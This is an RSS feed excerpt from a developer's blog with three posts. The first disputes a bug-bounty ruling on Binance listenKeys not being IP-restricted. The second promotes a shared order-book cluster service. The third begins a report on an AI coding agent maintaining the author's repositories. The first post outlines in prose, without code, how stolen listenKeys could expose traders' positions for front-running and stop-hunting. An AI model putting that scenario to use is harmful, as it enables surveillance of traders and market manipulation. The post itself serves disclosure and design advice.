<li><p>Open orders</p>
</li>
<li><p>Order executions</p>
</li>
<li><p>Stop losses</p>
</li>
<li><p>Trailing stops</p>
</li>
<li><p>Liquidation-relevant positions</p>
</li>
<li><p>Balance changes</p>
</li>
<li><p>Strategy characteristics</p>
</li>
<li><p>Timing of order placement</p>
</li>
</ul>
<p>This is <em>not harmless information</em>. It exposes the inner workings of a trading strategy.</p>
<hr />
<h3>Critical Detail: You Can Obtain the listenKey WITHOUT the Secret</h3>
<p>This is the first architectural red flag.</p>
<p>Binance only requires the API key to issue a listenKey — the secret is not needed. This diverges from the usual "proof of possession" pattern in API design.</p>
<hr />
<h3>The Core Security Mismatch: Whitelisting Protects the API Key, Not the listenKey</h3>
<p>This is the point that matters most.</p>
<h4>IP whitelisting fully protects the primary <code>apiKey</code>.</h4>
<p>But the <strong>listenKey is NOT IP-restricted.</strong> Not partially. Not conditionally. Not at all.</p>
<h4>Therefore:</h4>
<ol>
<li><p><strong>The API key is IP-bound.</strong></p>
</li>
<li><p><strong>The listenKey is NOT IP-bound.</strong></p>
</li>
<li><p>The listenKey can be obtained using only the API key.</p>
</li>
<li><p>Developers believe they are protected by whitelisting — but they aren't.</p>
</li>
</ol>
<p>This creates a <strong>false sense of security</strong>, and a <strong>broken mental model</strong>:</p>
<blockquote>
<p><em>"My key is locked to my infrastructure."</em></p>
</blockquote>
<blockquote>
<p><em><strong>…but a secondary stream that exposes my entire trading activity is not.</strong></em></p>
</blockquote>
<p>This is not a hack. This is not an exploit. This is a <strong>trust boundary inconsistency</strong>.</p>
<hr />
<h3>Why This Isn't "Just Social Engineering"</h3>
<p>Binance and Bugcrowd classified this as:</p>
<ul>
<li><p>"Social engineering"</p>
</li>
<li><p>"Not security relevant"</p>
</li>
</ul>
<p>This framing is technically inaccurate.</p>
<p>Here's why:</p>
<h4>A supply chain attack needs zero user interaction</h4>
<p>Any compromised:</p>
<ul>
<li><p>Python library</p>
</li>
<li><p>NPM module</p>
</li>
<li><p>Docker image</p>
</li>
<li><p>Browser extension</p>
</li>
<li><p>Trading bot wrapper</p>
</li>
<li><p>Cloud agent</p>
</li>
</ul>
<p>…can silently:</p>
<ol>
<li><p>Request a listenKey (no secret required)</p>
</li>
<li><p>Extract it from memory</p>
</li>
<li><p>Exfiltrate it</p>
</li>
<li><p>Access your user streams from <em>any</em> IP</p>
</li>
</ol>
<p>No phishing. No manipulation. No fake login. No mistake by the user.</p>
<p>This is entirely <strong>machine-side</strong>, not <strong>human-side</strong>.</p>
<p>Social engineering requires human manipulation; this issue requires none.</p>
<p>Calling this "social engineering" is simply wrong.</p>
<h4>A Sign of This False Sense of Security</h4>
<p>This broken security assumption is also visible in the real world. Over the years, multiple users have publicly posted their listenKeys on GitHub — something nobody would ever do with an API key. Examples:</p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/issues/98#issuecomment-682278783">https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/issues/98#issuecomment-682278783</a></p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/60056ccd-c361-406f-8af4-a8d8643816a3.png" alt="" style="display:block;margin:0 auto" />

<p><a href="https://github.com/binance/binance-connector-python/issues/99">https://github.com/binance/binance-connector-python/issues/99</a></p>
<p><img src="align=%22center%22" alt="" /></p>
<p>When users misunderstand what is protected, they behave accordingly — and that's how real-world incidents happen.</p>
<p>People do this because they believe the listenKey is protected by the same IP whitelisting rules as the API key. It isn't — and that misconception is exactly why this architectural flaw matters.</p>
<hr />
<h3>Real-World Impact (Without Sensationalism)</h3>
<p>listenKeys do <strong>not</strong> grant trading or withdrawal privileges.</p>
<p>But they grant something extremely valuable:</p>
<h4>Market-moving intelligence</h4>
<ul>
<li><p>Open orders</p>
</li>
<li><p>Stop-losses</p>
</li>
<li><p>Take-profit triggers</p>
</li>
<li><p>Liquidation thresholds</p>
</li>
<li><p>Wallet exposure</p>
</li>
<li><p>Detailed order execution flow</p>
</li>
<li><p>Balance movements</p>
</li>
<li><p>Position sizing</p>
</li>
<li><p>Leverage usage</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/9c82e683-aeca-4ebe-bba7-14809e827e8c.png" alt="" style="display:block;margin:0 auto" />

<p>With enough listenKeys from many accounts, an attacker could:</p>
<ol>
<li><p>Front-run traders</p>
</li>
<li><p>Hunt stops</p>
</li>
<li><p>Trigger liquidations</p>
</li>
<li><p>Detect whale movement patterns</p>
</li>
<li><p>Understand strategy timing</p>
</li>
<li><p>Analyze market sentiment by user position flow</p>
</li>
</ol>
<p>This is the type of data for which hedge funds pay millions.</p>
<p>Yet with whitelisting enabled, users naturally believe this information is protected.</p>
<p>It isn't.</p>
<hr />
<h3>Bugcrowd's Handling — A Systemic Problem</h3>
<p>I submitted the issue twice, both times with professional detail on:</p>
<ul>
<li><p>Architecture</p>
</li>
<li><p>Threat model</p>
</li>
<li><p>Python prototype</p>
</li>
<li><p>Timelines</p>
</li>
<li><p>Diagrams</p>
</li>
<li><p>Real user stream examples (safe &amp; anonymized)</p>
</li>
<li><p>Demo video</p>
</li>
</ul>
<p>The responses were:</p>
<ul>
<li><p>"Not applicable"</p>
</li>
<li><p>"Not security relevant"</p>
</li>
<li><p>"Social engineering"</p>
</li>
</ul>
<p><strong>No questions.No technical discussion.No escalation to senior security staff.No clarification.No interest.No attempt to understand the architecture.</strong></p>
<p>This is not a Binance-only problem. This is a <strong>bug bounty ecosystem problem</strong>:</p>
<ul>
<li><p>Business logic vulnerabilities fall through the cracks.</p>
</li>
<li><p>Architectural flaws don't fit classic CVSS scoring.</p>
</li>
<li><p>Whitelisting is treated as a UX feature, not a security boundary.</p>
</li>
<li><p>Vendor customers get overly defensive.</p>
</li>
<li><p>Bugcrowd triage tends to favor the vendor.</p>
</li>
</ul>
<p>This case is a textbook example.</p>
<p>But the triage process didn't reflect the actual technical depth of the issue.</p>
<h4>A Note on Bugcrowd's Process Handling</h4>
<p>When I submitted additional clarification through Bugcrowd's "Request for Response" mechanism, the reply I received did not address the technical points raised. Instead, it reiterated the original classification without engaging with the architectural arguments behind the issue. The response even included a reminder about potential penalties for requesting further clarification, despite the fact that no new technical review had taken place.</p>
<p>This experience reinforced a broader problem I've observed in the bug bounty ecosystem: <strong>Platform triage processes are often optimized for clear, conventional vulnerabilities, but they struggle with architectural or trust-boundary issues that don't fit neatly into predefined categories.</strong></p>
<p>In this specific case, Bugcrowd did not provide the neutral and technically grounded mediation that researchers rely on — especially when a report involves design-level inconsistencies rather than classic "payload exploits." This is not about blame; it simply shows that current triage workflows are not well-equipped for complex, multi-layered security findings.</p>
<hr />
<h3>What a Fair Process Would Have Looked Like</h3>
<p>For findings of this kind, a fair bug bounty process usually includes:</p>
<ul>
<li><p>A technical review</p>
</li>
<li><p>Follow-up questions</p>
</li>
<li><p>A classification discussion</p>
</li>
<li><p>A clear explanation of the vendor's reasoning</p>
</li>
<li><p>And at least a form of researcher recognition</p>
</li>
</ul>
<p>These are standard expectations across reputable bounty programs — especially for architectural issues that require multi-day analysis, cross-checking, prototyping, and documentation.</p>
<p>My work included:</p>
<ul>
<li><p>Several days of API investigation</p>
</li>
<li><p>Multiple reproductions</p>
</li>
<li><p>Python demonstrations</p>
</li>
<li><p>Clean and safe reporting</p>
</li>
<li><p>Detailed architectural reasoning</p>
</li>
<li><p>Real-world demonstration of the trust boundary mismatch</p>
</li>
</ul>
<p>Across most platforms, this type of research is acknowledged regardless of payout decisions.</p>
<h4>In my case, however, none of this happened:</h4>
<ul>
<li><p>No technical discussion</p>
</li>
<li><p>No meaningful review</p>
</li>
<li><p>No recognition</p>
</li>
<li><p>No acknowledgement of the work invested</p>
</li>
</ul>
<h4>This is why the case matters:</h4>
<p>Not because of financial expectations — but because the process failed to deliver what bug bounty platforms are fundamentally meant to provide: <strong>fairness, neutrality, and respect for substantial research effort.</strong></p>
<hr />
<h3>Lessons for DevSecOps &amp; API Designers</h3>
<h4>1. Secondary tokens must inherit all constraints of the primary.</h4>
<p>No exceptions.</p>
<h4>2. Proof of possession matters.</h4>
<p>Never issue a token without confirming ownership of its parent credential.</p>
<h4>3. IP whitelisting must be consistent.</h4>
<p>If one flow bypasses it, the guarantee breaks.</p>
<h4>4. Users' mental models matter as much as code.</h4>
<p>When expectations don't match reality, security collapses.</p>
<h4>5. Bug bounties must evolve beyond "classic bugs."</h4>
<p>Architecture is security. Design is security. Assumptions are security.</p>
<hr />
<h3>Closing Thoughts</h3>
<p>The Binance listenKey issue isn't a catastrophic vulnerability. It won't drain wallets, freeze accounts, or cause instant chaos.</p>
<p>But it <em>is</em> a powerful example of:</p>
<ul>
<li><p>Inconsistent trust boundaries</p>
</li>
<li><p>Misleading security assumptions</p>
</li>
<li><p>Risk of supply-chain leakage</p>
</li>
<li><p>Architectural flaws not fitting bounty templates</p>
</li>
</ul>
<p>And it shows how easily deep research can be miscategorized and dismissed.</p>
<p>My goal in publishing this is simple:</p>
<blockquote>
<p><em><strong>To spark a conversation on how we evaluate architectural security issues — especially in systems trusted with billions of dollars.</strong></em></p>
</blockquote>
<p>If you work in DevSecOps, crypto infrastructure, or API security, I would genuinely value your perspective.</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[Why Your Binance Order Book Should Not Live Inside Your Bot]]></title><description><![CDATA[Most Binance bots start the same way.
One process opens a WebSocket, pulls a depth snapshot, keeps a local order book in memory, and runs a strategy loop on top. For one bot, on one machine, this is f]]></description><link>https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot</link><guid isPermaLink="true">https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot</guid><category><![CDATA[Python]]></category><category><![CDATA[binance]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[open source]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Mon, 20 Apr 2026 07:29:31 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/040ec127-069c-4953-94fe-ae614ebf7868.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Most Binance bots start the same way.</p>
<p>One process opens a WebSocket, pulls a depth snapshot, keeps a local order book in memory, and runs a strategy loop on top. For one bot, on one machine, this is fine. Sometimes it is even elegant.</p>
<p>Then the setup grows.</p>
<p>A second bot appears. A dashboard wants the same data. A sidecar service needs top-of-book prices. A teammate working in JavaScript wants access too. Reconnects pile up. Snapshot requests start burning rate limit budget. And if the one process holding a market dies, your market view dies with it.</p>
<p>Suddenly the order book living inside one bot process is no longer a neat design choice. It is now the bottleneck.</p>
<p>That is the problem this post is about.</p>
<p>And that is why I built <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster"><strong>UBDCC</strong></a> — the <strong>UNICORN Binance DepthCache Cluster</strong>.</p>
<h2>The core problem</h2>
<p>A local depth cache inside one process is easy to start with, but hard to share, hard to scale, and fragile.</p>
<p>That creates four common failure modes.</p>
<h3>1. One bot becomes two</h3>
<p>The first strategy works, so you launch a second one.</p>
<p>Now both bots maintain their own WebSocket connections, their own snapshots, and their own copies of the same order books in separate memory spaces. You doubled the moving parts without gaining new market data. After a reconnect or short network disturbance, those two processes can temporarily hold slightly different views of the same market.</p>
<p>That is not great when both are making decisions off the same symbol.</p>
<h3>2. Other services need the same data</h3>
<p>Serious setups rarely stop at one bot.</p>
<p>Soon there is:</p>
<ul>
<li><p>a dashboard</p>
</li>
<li><p>an alerting service</p>
</li>
<li><p>a sanity-check script</p>
</li>
<li><p>a backtester consuming live spreads</p>
</li>
<li><p>some quick internal tool that “just needs the top 5 asks”</p>
</li>
</ul>
<p>If the depth cache only exists inside a Python process, every new consumer either needs its own cache or some custom integration. Both options are ugly.</p>
<p>And if one of those consumers is written in Node.js, Go, Rust, or Bash, it gets uglier fast.</p>
<h3>3. Rate limits become infrastructure limits</h3>
<p>Every initial depth snapshot costs request weight.</p>
<p>If every process builds its own local cache, every process burns its own weight budget. Reconnect storms multiply the cost. Large market sets become slow to initialize. On one IP, the wall arrives quickly.</p>
<p>For strategies like triangular arbitrage, where a bot may depend on dozens or even hundreds of depth caches, restarting the strategy during development because of one changed line of code can mean waiting all over again for the entire in-process market view to rebuild and re-sync.</p>
<p>That is a lot of wasted time for something that has nothing to do with strategy logic.</p>
<h3>4. One cache becomes a single point of failure</h3>
<p>A local depth cache inside one bot process is not just hard to share. It is also fragile.</p>
<p>If that process dies, your market view for that symbol dies with it. The usual workaround is not real high availability — it is just duplication by coincidence, with different processes maintaining different copies of the same book.</p>
<p>In a serious setup, market data should not depend on one process staying alive. It should be a shared service with explicit redundancy and failover.</p>
<p>So the real problem is not “how do I keep one order book in sync?”</p>
<p>The real problem is:</p>
<blockquote>
<p><strong>How do I turn order book data into shared infrastructure instead of per-process state?</strong></p>
</blockquote>
<h2>The architectural answer</h2>
<p>The clean answer is simple:</p>
<p><strong>one shared depth-cache layer, many consumers</strong></p>
<p>Instead of every bot owning its own WebSocket connection and local order book, you run one service that manages order books centrally and exposes them over HTTP.</p>
<p>That is what UBDCC does.</p>
<p><strong>UBDCC turns Binance order books from per-process state into shared infrastructure.</strong></p>
<p>Anything that can speak HTTP can consume the data:</p>
<ul>
<li><p>Python</p>
</li>
<li><p>Node.js</p>
</li>
<li><p>Go</p>
</li>
<li><p>shell scripts with <code>curl</code></p>
</li>
<li><p>dashboards</p>
</li>
<li><p>monitoring</p>
</li>
<li><p>internal tools</p>
</li>
</ul>
<p>That is the key shift.</p>
<p>Not “another library”. Not “another bot framework”.</p>
<p>A shared order book layer.</p>
<h2>What UBDCC is</h2>
<p>UBDCC is an MIT-licensed cluster service for shared Binance depth caches.</p>
<p>It manages:</p>
<ul>
<li><p>WebSocket connections</p>
</li>
<li><p>depth snapshot initialization</p>
</li>
<li><p>synchronized local order books</p>
</li>
<li><p>distribution of caches across worker processes</p>
</li>
<li><p>access through a REST API</p>
</li>
</ul>
<p>So instead of this:</p>
<ul>
<li><p>bot A keeps BTCUSDT in memory</p>
</li>
<li><p>bot B keeps BTCUSDT in memory</p>
</li>
<li><p>dashboard keeps BTCUSDT in memory</p>
</li>
</ul>
<p>…you get this:</p>
<ul>
<li><p>UBDCC keeps BTCUSDT in memory</p>
</li>
<li><p>bot A queries it</p>
</li>
<li><p>bot B queries it</p>
</li>
<li><p>dashboard queries it</p>
</li>
</ul>
<p>One source of truth. Multiple consumers.</p>
<h2>The cluster model</h2>
<p>UBDCC consists of three roles:</p>
<ul>
<li><p><strong>mgmt</strong> — coordinates cluster state and assigns work</p>
</li>
<li><p><strong>restapi</strong> — the public HTTP interface clients talk to</p>
</li>
<li><p><strong>dcn</strong> (<em>DepthCache Node</em>) — worker processes that run the actual depth caches via <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UBLDC</a></p>
</li>
</ul>
<p>Each DCN is one Python process, which maps nicely to one CPU core. On a single 8-core machine, you can run one management instance, one REST API, and multiple DCNs handling hundreds of depth caches.</p>
<p>On Kubernetes, the same pattern scales horizontally.</p>
<p>The important point is not the exact layout.</p>
<p>The important point is that your strategies no longer own the order books.</p>
<h2>What this solves in practice</h2>
<h3>Shared data across multiple bots</h3>
<p>Two or ten strategies can consume the same books without duplicating Binance connections or cache state.</p>
<p>You pay one network hop to the REST API and remove a lot of duplicated infrastructure.</p>
<h3>Built-in redundancy and failover</h3>
<p>A DepthCache does not have to exist only once.</p>
<p>With <code>desired_quantity=2</code>, UBDCC keeps two replicas of the same market on different DCN nodes. If one node dies, the REST API can route the request to the surviving replica. That gives you real high availability for market data instead of hoping that one local in-process cache stays alive.</p>
<p>This is one of the biggest differences compared to the usual “every bot keeps its own order book” setup. In the usual model, redundancy is accidental and inconsistent. In UBDCC, redundancy is explicit and controlled.</p>
<h3>Language-agnostic access</h3>
<p>A frontend or support tool does not need to understand Binance stream semantics, sequence handling, reconnect logic, or Python internals.</p>
<p>It makes an HTTP request and gets JSON back.</p>
<p>That is a huge simplification.</p>
<h3>Better scaling under rate limits</h3>
<p>UBDCC can distribute workload across multiple machines and therefore across multiple public IPs.</p>
<p>That spreads snapshot initialization and reconnect load. Since version 0.4.0, it can also assign optional Binance API credentials across nodes to benefit from higher authenticated rate limits where applicable.</p>
<p>No credentials are required for public endpoints. The authenticated path is optional.</p>
<h2>What it looks like to use</h2>
<p>Install:</p>
<pre><code class="language-bash">pip install ubdcc
</code></pre>
<p>Start a local cluster with four DepthCache nodes:</p>
<pre><code class="language-bash">ubdcc start --dcn 4
</code></pre>
<p>Create some shared depth caches:</p>
<pre><code class="language-bash">curl -X POST 'http://127.0.0.1:42081/create_depthcaches' \
  -H 'Content-Type: application/json' \
  -d '{"exchange": "binance.com", "markets": ["BTCUSDT", "ETHUSDT"], "desired_quantity": 2}'
</code></pre>
<p>Query the top 5 asks:</p>
<pre><code class="language-bash">curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&amp;market=BTCUSDT&amp;limit_count=5'
</code></pre>
<p>That is the whole idea: create once, consume anywhere.</p>
<p>For a full practical walkthrough with the dashboard, replicas, failover test, REST calls, and generated client snippets, see:
<a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart</a></p>
<h2>Python users are not locked out</h2>
<p>If you already use <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><strong>UBLDC</strong></a> for local order books, the cluster interface is built in.</p>
<p>You can point <code>BinanceLocalDepthCacheManager</code> at UBDCC and keep using familiar sync or async methods:</p>
<pre><code class="language-python">from unicorn_binance_local_depth_cache import BinanceLocalDepthCacheManager, DepthCacheClusterNotReachableError
import asyncio

async def main():
    await ubldc.cluster.create_depthcaches_async(
        exchange="binance.com",
        markets=["BTCUSDT", "ETHUSDT"],
        desired_quantity=2,
    )
    while not ubldc.is_stop_request():
        print(await ubldc.cluster.get_asks_async(
            exchange="binance.com",
            market="BTCUSDT",
            limit_count=5
        ))

try:
    with BinanceLocalDepthCacheManager(
        exchange="binance.com",
        ubdcc_address="127.0.0.1",
        ubdcc_port=42081
    ) as ubldc:
        asyncio.run(main())
except DepthCacheClusterNotReachableError as exc:
    print(f"ERROR: {exc}")
</code></pre>
<p>So UBDCC is not an alternative to Python-native workflows.</p>
<p>It is the shared infrastructure layer underneath them.</p>
<h2>Why I trust it</h2>
<p>There are four parts that matter to me.</p>
<h3>It does not silently serve stale books</h3>
<p>UBDCC is built on <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><strong>UBLDC</strong></a>, which validates Binance sequence numbers, re-syncs on gaps, and handles <a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">orphaned levels</a> correctly instead of leaving ghost entries in the book.</p>
<p>A shared DepthCache is only useful if consumers also know its state. UBDCC does not just hold the cache — it knows whether that cache is actually in sync, re-synchronizing, or temporarily not safe to use. That is exactly the information a serious strategy needs before trusting market data.</p>
<p>If a book is re-syncing, that state is explicit.</p>
<p>That matters more than most people think.</p>
<p>I wrote a separate deep dive on the orphaned-level problem here:
<a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Your Binance Order Book Is Wrong — Here's Why</a></p>
<p>That post explains why a Binance-compatible local order book can look correct while silently accumulating stale price levels over time.</p>
<h3>Failover is transparent</h3>
<p>Depth caches can run redundantly across nodes. In practice that means you can keep the same cache twice and survive the loss of one DCN without losing the market view for that symbol.</p>
<p>If one node fails, requests are routed to another replica. But the failover is not hidden. Responses can report that a failover happened and which pod failed before the request succeeded.</p>
<p>That is how infrastructure should behave: resilient, but observable.</p>
<h3>The cluster manages its own state</h3>
<p>Cluster state is replicated internally across nodes.</p>
<p>If the management process dies, it can recover from the most recent surviving state. No external Redis or etcd dependency is required just to keep the cluster alive.</p>
<h3>It is fast enough to be infrastructure</h3>
<p>The stack is async end-to-end, and the core packages are Cython-compiled. In practice, this means low latency and enough throughput to make “shared order book as a service” actually usable instead of theoretically neat.</p>
<h2>What UBDCC is not</h2>
<p>It is <strong>not</strong>:</p>
<ul>
<li><p>a strategy engine</p>
</li>
<li><p>a backtesting platform</p>
</li>
<li><p>an execution engine</p>
</li>
<li><p>a “make money with crypto” framework</p>
</li>
</ul>
<p>It serves live order book data.</p>
<p>That is its job.</p>
<h2>Who should look at it</h2>
<h3>A solo developer running multiple bots</h3>
<p>You want one shared market-data layer instead of duplicate depth caches all over the machine.</p>
<h3>A team with several services consuming the same books</h3>
<p>You want bots, dashboards, alerts, and internal tools reading from one consistent source.</p>
<h3>A larger setup running into rate-limit and scaling pain</h3>
<p>You want to spread load across nodes, IPs, and optional authenticated request budgets.</p>
<p>If none of this sounds familiar, you probably do not need UBDCC yet.</p>
<p>But when the question becomes:</p>
<blockquote>
<p>“Can my second bot read the same order book without rebuilding everything?”</p>
</blockquote>
<p>Then you are already in UBDCC territory.</p>
<h2>Why I think this matters</h2>
<p>There are many examples online showing how to build <em>a</em> Binance bot.</p>
<p>There is far less material about what happens when one bot becomes several consumers, several services, several machines, and real infrastructure concerns.</p>
<p>That gap is exactly why I built this.</p>
<p>Not because the architecture is magical.</p>
<p>Because at some point it becomes the obvious architecture — and building it yourself is annoying, time-consuming, and easy to get wrong.</p>
<h2>Try it</h2>
<p>If your order books are trapped inside individual bot processes, UBDCC is the escape hatch.</p>
<ul>
<li><p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">GitHub repository</a></p>
</li>
<li><p><a href="https://oliver-zehentleitner.github.io/unicorn-binance-depth-cache-cluster">Documentation and API reference</a></p>
</li>
<li><p><a href="https://t.me/unicorndevs">Telegram community</a></p>
</li>
</ul>
<p>UBDCC is MIT-licensed and part of the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite"><strong>UNICORN Binance Suite</strong></a>.</p>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[I Let an AI Agent Maintain My Open Source Suite for a Week — Here's What Actually Happened]]></title><description><![CDATA[I maintain the UNICORN Binance Suite: 7 Python repositories, 2.8M+ PyPI downloads, 388+ dependent projects, and production usage in algorithmic trading systems running 24/7 against real money.
WebSock]]></description><link>https://blog.technopathy.club/i-let-an-ai-agent-maintain-my-open-source-suite-for-a-week-here-s-what-actually-happened</link><guid isPermaLink="true">https://blog.technopathy.club/i-let-an-ai-agent-maintain-my-open-source-suite-for-a-week-here-s-what-actually-happened</guid><category><![CDATA[Artificial Intelligence]]></category><category><![CDATA[Devops]]></category><category><![CDATA[Python]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Software Engineering]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Fri, 17 Apr 2026 13:50:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/f4a8d926-3d2e-438d-b973-868cc9001d85.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I maintain the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite">UNICORN Binance Suite</a>: 7 Python repositories, 2.8M+ PyPI downloads, 388+ dependent projects, and production usage in algorithmic trading systems running 24/7 against real money.</p>
<p>WebSocket streams, REST APIs, local order books, trailing stops, Kubernetes depth cache clusters — the kind of infrastructure that normally has a team behind it.</p>
<p>It doesn’t. It has me.</p>
<p>Last week I gave <a href="https://claude.com/claude-code">Claude Code</a> commit access via a dedicated GitHub account<br />(<a href="https://github.com/oliver-zehentleitner-aigent">@oliver-zehentleitner-aigent</a>) and pointed it at the backlog.</p>
<p><strong>One week later:</strong></p>
<p>Work that would have taken me weeks to months was done.</p>
<p>Notably:</p>
<ul>
<li><p>500+ files changed</p>
</li>
<li><p>100+ PRs created</p>
</li>
<li><p>7 repositories fully synchronized and updated</p>
</li>
<li><p>entire UBS stack released and brought up to current state</p>
</li>
<li><p>all known bug reports closed</p>
</li>
<li><p>~€100 cost</p>
</li>
</ul>
<p>This is not hype. This is a field report.</p>
<hr />
<h2>The Backlog</h2>
<p>Years of solo-maintainer entropy:</p>
<ul>
<li><p>LUCIT branding everywhere (7 repos, hundreds of files)</p>
</li>
<li><p>Custom LSOSL license blocking contributors</p>
</li>
<li><p>Python 3.7 baseline (in 2026)</p>
</li>
<li><p>A core repo with no release for 4 years</p>
</li>
<li><p>CI pipelines that barely validated anything</p>
</li>
<li><p>Dead services, dead links, dead integrations</p>
</li>
</ul>
<p>Individually trivial. Collectively unmaintainable.</p>
<p>That’s the key failure mode: not complexity, but accumulation.</p>
<hr />
<h2>The Setup (Guardrails First)</h2>
<p>Before letting an agent touch production code, I built constraints.</p>
<h3>Dedicated Git Identity</h3>
<p>Everything runs through a separate account:<br /><a href="https://github.com/oliver-zehentleitner-aigent">@oliver-zehentleitner-aigent</a></p>
<p>Full transparency:</p>
<ul>
<li><p>every commit is traceable</p>
</li>
<li><p>no hidden automation</p>
</li>
<li><p>no impersonation</p>
</li>
</ul>
<hr />
<h3>CLAUDE.md — Project Constitution</h3>
<p>Each repo defines strict rules:</p>
<ul>
<li><p>communication style (German chat, English code)</p>
</li>
<li><p>forbidden actions (e.g. versioning scripts, direct commits to merged PRs)</p>
</li>
<li><p>architectural context</p>
</li>
</ul>
<p>It helps. It does not guarantee compliance. Drift still happens.</p>
<hr />
<h3>AGENTS.md + TASKS.md</h3>
<ul>
<li><p><code>AGENTS.md</code>: architecture + conventions</p>
</li>
<li><p><code>TASKS.md</code>: living backlog per repo</p>
</li>
<li><p><code>UBS-TASKS.md</code>: cross-repo coordination</p>
</li>
</ul>
<hr />
<h3>Fork + PR Workflow</h3>
<p>No direct pushes.</p>
<p>Everything: fork → branch → PR → review → merge</p>
<p>This is non-negotiable for production-grade OSS.</p>
<hr />
<h2>What the Agent Actually Did</h2>
<p>We executed bottom-up through the dependency stack:</p>
<p>UnicornFy → UBRA → UBWA → UBLDC → UBDCC → UBTSL → UBS</p>
<hr />
<h3>Day 1–2: Foundation Repos</h3>
<ul>
<li><p>Replace all LUCIT branding</p>
</li>
<li><p>Switch LSOSL → MIT</p>
</li>
<li><p>Raise Python baseline to 3.9–3.14</p>
</li>
<li><p>Expand CI across versions</p>
</li>
<li><p>Fix documentation and metadata consistency</p>
</li>
</ul>
<hr />
<h3>Day 3: UBTSL (the worst one)</h3>
<p>No release in 4 years. Broken startup due to licensing dependency.</p>
<p>The agent:</p>
<ul>
<li><p>removed entire licensing system</p>
</li>
<li><p>fixed CI (geo-blocked endpoints, artifact merging bug)</p>
</li>
<li><p>repaired PyPI wheel publishing</p>
</li>
<li><p>resolved 3-year-old PR conflicts</p>
</li>
</ul>
<hr />
<h3>Day 4–5: Suite-wide Cleanup</h3>
<ul>
<li><p>removed dead Gitter integrations</p>
</li>
<li><p>fixed issue templates across repos</p>
</li>
<li><p>normalized exchange lists</p>
</li>
<li><p>removed deprecated endpoints</p>
</li>
</ul>
<hr />
<h3>Day 5: README Rewrite</h3>
<ul>
<li><p>install-first onboarding</p>
</li>
<li><p>metrics-driven introduction</p>
</li>
<li><p>architecture diagram</p>
</li>
<li><p>comparison table</p>
</li>
<li><p>copy-paste examples</p>
</li>
</ul>
<hr />
<h3>Day 6: AI-Native Documentation</h3>
<p>Introduced <code>llms.txt</code> across all repos.</p>
<p>Meta-layer shift: AI writing docs for other AIs.</p>
<hr />
<h3>Day 7: Releases, Stabilization &amp; Full Stack Sync</h3>
<p>This is where things became more interesting than planned.</p>
<p>During execution the agent identified <strong>two independent race conditions</strong> in core streaming and order-handling paths. These were subtle timing issues that had not surfaced in production yet, but were structurally real and reproducible under load.</p>
<p>After fixing them, we did not just ship isolated patches — we executed a full stack alignment:</p>
<ul>
<li><p>UBTSL 1.3.0 released (first release in 4 years)</p>
</li>
<li><p>UBS 2.1.0 released</p>
</li>
<li><p>all dependent repositories updated and republished</p>
</li>
<li><p>full UBS ecosystem brought to a consistent, current version state</p>
</li>
<li><p>all known bug reports across the stack closed</p>
</li>
</ul>
<p>Net effect: the entire suite is now not just “maintained”, but structurally consistent again.</p>
<hr />
<h2>Cost Model</h2>
<ul>
<li><p>Claude Pro Max: ~€100/month</p>
</li>
<li><p>Time: ~1 week active steering</p>
</li>
</ul>
<p>The real cost is not money. It is decision bandwidth.</p>
<hr />
<h2>The Workflow That Worked</h2>
<ol>
<li><p>Analyze state together</p>
</li>
<li><p>Agree on direction</p>
</li>
<li><p>Define scope</p>
</li>
<li><p>Execute</p>
</li>
<li><p>Review and correct</p>
</li>
</ol>
<hr />
<h2>What Worked</h2>
<ul>
<li><p>Cross-repo pattern replication</p>
</li>
<li><p>CI + packaging bug discovery</p>
</li>
<li><p>Merge conflict resolution</p>
</li>
<li><p>Parallel PR execution</p>
</li>
<li><p>Documentation iteration speed</p>
</li>
<li><p>Structural bug detection in production-adjacent code paths</p>
